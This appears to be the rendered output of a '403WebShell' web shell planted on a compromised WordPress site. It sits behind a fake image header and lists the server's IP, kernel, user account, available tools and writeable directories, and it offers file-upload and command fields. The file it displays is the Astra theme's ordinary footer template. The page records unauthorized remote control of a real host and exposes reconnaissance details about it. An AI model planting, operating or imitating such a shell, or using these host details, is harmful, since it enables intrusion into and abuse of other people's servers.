????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/themes/astra/template-parts/footer/builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/themes/astra/template-parts/footer/builder/components.php
<?php
/**
 * Template part for displaying the footer component.
 *
 * @package Astra
 */

$astra_component_slug = get_query_var( 'type' );
if ( astra_wp_version_compare( '5.4.99', '>=' ) ) {
	$astra_component_slug = wp_parse_args( $args, array( 'type' => '' ) );
	$astra_component_slug = isset( $astra_component_slug['type'] ) ? $astra_component_slug['type'] : '';
}

switch ( $astra_component_slug ) {

	case 'copyright':
		?>
			<div class="ast-builder-layout-element ast-flex site-footer-focus-item ast-footer-copyright" data-section="section-footer-builder">
				<?php do_action( 'astra_footer_copyright' ); ?>
			</div>
		<?php
		break;

	case 'social-icons-1':
		?>
			<div class="ast-builder-layout-element ast-flex site-footer-focus-item" data-section="section-fb-social-icons-1">
				<?php do_action( 'astra_footer_social_1' ); ?>
			</div>
		<?php
		break;

	case 'widget-1':
		?>
		<aside
		<?php
		echo wp_kses_post(
			astra_attr(
				'footer-widget-area-inner',
				array(
					'class'        => 'footer-widget-area widget-area site-footer-focus-item',
					'data-section' => 'sidebar-widgets-footer-widget-1',
					'aria-label'   => 'Footer Widget 1',
				)
			)
		);
		?>
				>
			<?php
			astra_markup_open( 'footer-widget-div' );
			astra_get_sidebar( 'footer-widget-1' );
			astra_markup_close( 'footer-widget-div' );
			?>
		</aside>
		<?php
		break;

	case 'widget-2':
		?>
		<aside
		<?php
		echo wp_kses_post(
			astra_attr(
				'footer-widget-area-inner',
				array(
					'class'        => 'footer-widget-area widget-area site-footer-focus-item',
					'data-section' => 'sidebar-widgets-footer-widget-2',
					'aria-label'   => 'Footer Widget 2',
				)
			)
		);
		?>
		>
			<?php
			astra_markup_open( 'footer-widget-div' );
			astra_get_sidebar( 'footer-widget-2' );
			astra_markup_close( 'footer-widget-div' );
			?>
		</aside>
		<?php
		break;

	case 'widget-3':
		?>
		<aside
		<?php
		echo wp_kses_post(
			astra_attr(
				'footer-widget-area-inner',
				array(
					'class'        => 'footer-widget-area widget-area site-footer-focus-item',
					'data-section' => 'sidebar-widgets-footer-widget-3',
					'aria-label'   => 'Footer Widget 3',
				)
			)
		);
		?>
		>
			<?php
			astra_markup_open( 'footer-widget-div' );
			astra_get_sidebar( 'footer-widget-3' );
			astra_markup_close( 'footer-widget-div' );
			?>
		</aside>
		<?php
		break;

	case 'widget-4':
		?>
		<aside
		<?php
		echo wp_kses_post(
			astra_attr(
				'footer-widget-area-inner',
				array(
					'class'        => 'footer-widget-area widget-area site-footer-focus-item',
					'data-section' => 'sidebar-widgets-footer-widget-4',
					'aria-label'   => 'Footer Widget 4',
				)
			)
		);
		?>
		>
			<?php
			astra_markup_open( 'footer-widget-div' );
			astra_get_sidebar( 'footer-widget-4' );
			astra_markup_close( 'footer-widget-div' );
			?>
		</aside>
		<?php
		break;

	case 'html-1':
		?>
		<div class="footer-widget-area widget-area site-footer-focus-item ast-footer-html-1" data-section="section-fb-html-1">
			<?php do_action( 'astra_footer_html_1' ); ?>
		</div>
		<?php
		break;

	case 'html-2':
		?>
			<div class="footer-widget-area widget-area site-footer-focus-item ast-footer-html-2" data-section="section-fb-html-2">
				<?php do_action( 'astra_footer_html_2' ); ?>
			</div>
			<?php
		break;

	case 'menu':
		?>
			<div class="footer-widget-area widget-area site-footer-focus-item" data-section="section-footer-menu">
				<?php do_action( 'astra_footer_menu' ); ?>
			</div>
			<?php
		break;

	case 'divider-1':
		$astra_fb_divider_layout_class = astra_get_option( 'footer-divider-1-layout' );
		?>
		<div class="footer-widget-area widget-area ast-flex site-footer-focus-item ast-footer-divider-element ast-footer-divider-1 ast-fb-divider-layout-<?php echo esc_attr( $astra_fb_divider_layout_class ); ?>" data-section="section-fb-divider-1">
			<?php do_action( 'astra_footer_divider_1' ); ?>
		</div>
		<?php
		break;

	default:
		do_action( 'astra_render_footer_components', $astra_component_slug );
		break;

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit